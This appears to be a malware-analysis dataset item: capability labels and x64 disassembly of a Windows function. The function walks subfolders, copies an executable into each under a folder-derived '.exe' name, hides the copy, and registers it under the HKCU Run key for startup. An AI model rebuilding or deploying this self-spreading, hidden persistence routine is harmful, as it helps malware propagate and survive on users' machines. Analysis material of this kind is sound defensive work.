Function at 0x140007f1c
Capabilities:
Copy file
Enumerate files on windows
Persist via run registry key
Set file attributes

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
mov qword [rbp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140035410]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
mov rdi, rdx
mov r15, rcx
mov ebx, 7
mov qword [rsp + 0x48], rbx
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov word [rsp + 0x30], r12w
or rsi, 0xffffffffffffffff
cmp word [rdx], r12w
jne 0x140007f83
mov r8d, r12d
jmp 0x140007f90
mov r8, rsi
inc r8
cmp word [rdx + r8*2], r12w
jne 0x140007f86
lea rcx, [rsp + 0x30]
call fcn.140003c1c
nop
lea r8, [0x14002e924]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.14000afb8
cmp qword [rax + 0x18], 8
jb 0x140007fba
mov rax, qword [rax]
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r14, rax
cmp qword [rbp - 0x58], 8
jb 0x140007fdd
mov rcx, qword [rbp - 0x70]
call fcn.14000c484
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x60], r12
mov word [rbp - 0x70], r12w
cmp qword [rsp + 0x48], 8
jb 0x140007ffc
mov rcx, qword [rsp + 0x30]
call fcn.14000c484
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], r12
mov word [rsp + 0x30], r12w
cmp r14, rsi
je 0x1400082ef
test byte [rbp + 0x80], 0x10
je 0x1400082ce
movzx ecx, word [rbp + 0xac]
movzx eax, word [rbp + 0xae]
cmp cx, word [0x14002e92c]
jne 0x140008046
cmp ax, word [0x14002e92e]
je 0x1400082ce
cmp cx, word [0x14002e930]
jne 0x14000806c
cmp ax, word [0x14002e932]
jne 0x14000806c
movzx eax, word [rbp + 0xb0]
cmp ax, word [0x14002e934]
je 0x1400082ce
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], r12
mov word [rsp + 0x50], r12w
cmp word [rdi], r12w
jne 0x140008087
mov r8, r12
jmp 0x140008094
mov r8, rsi
inc r8
cmp word [rdi + r8*2], r12w
jne 0x14000808a
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140003c1c
nop
lea r8, [0x14002e90c]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.14000afb8
nop
lea r8, [rbp + 0xac]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14000afb8
nop
lea r8, [0x14002e948]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.14000afb8
nop
lea r8, [rbp + 0xac]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.14000afb8
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.14000afb8
nop
cmp qword [rbp - 0x18], 8
jb 0x140008118
mov rcx, qword [rbp - 0x30]
call fcn.14000c484
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], r12
mov word [rbp - 0x30], r12w
cmp qword [rbp - 0x38], 8
jb 0x140008135
mov rcx, qword [rbp - 0x50]
call fcn.14000c484
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x40], r12
mov word [rbp - 0x50], r12w
cmp qword [rbp + 0x48], 8
jb 0x140008152
mov rcx, qword [rbp + 0x30]
call fcn.14000c484
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x40], r12
mov word [rbp + 0x30], r12w
cmp qword [rbp + 0x28], 8
jb 0x14000816f
mov rcx, qword [rbp + 0x10]
call fcn.14000c484
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x20], r12
mov word [rbp + 0x10], r12w
cmp qword [rsp + 0x68], 8
jb 0x14000818e
mov rcx, qword [rsp + 0x50]
call fcn.14000c484
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], r12
mov word [rsp + 0x50], r12w
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 8
cmovae rdx, qword [rbp + 0x60]
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400082be
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x80], r12
mov word [rsp + 0x70], r12w
cmp word [rbp + 0xac], r12w
jne 0x1400081dd
mov r8, r12
jmp 0x1400081f1
lea rax, [rbp + 0xac]
mov r8, rsi
inc r8
cmp word [rax + r8*2], r12w
jne 0x1400081e7
lea rdx, [rbp + 0xac]
lea rcx, [rsp + 0x70]
call fcn.140003c1c
nop
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.14000b004
mov rbx, rax
cmp qword [rax + 0x18], 8
jb 0x14000821e
mov rbx, qword [rax]
lea rsi, [rbp + 0x60]
cmp qword [rbp + 0x78], 8
cmovae rsi, qword [rbp + 0x60]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140008265
lea r8, [rbp + 0x58]
mov rdx, rbx
mov rcx, rsi
call fcn.140002ad0
cmp qword [rbp + 8], 8
jb 0x140008275
mov rcx, qword [rbp - 0x10]
call fcn.14000c484
mov ebx, 7
mov qword [rbp + 8], rbx
mov qword [rbp], r12
mov word [rbp - 0x10], r12w
cmp qword [rbp - 0x78], 8
jb 0x140008298
mov rcx, qword [rsp + 0x70]
call fcn.14000c484
lea rcx, [rbp + 0x60]
call fcn.140007c00
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 8
cmovae rcx, qword [rbp + 0x60]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
or rsi, 0xffffffffffffffff
cmp qword [rbp + 0x78], 8
jb 0x1400082ce
mov rcx, qword [rbp + 0x60]
call fcn.14000c484
lea rdx, [rbp + 0x80]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140008015
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14000bb20
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret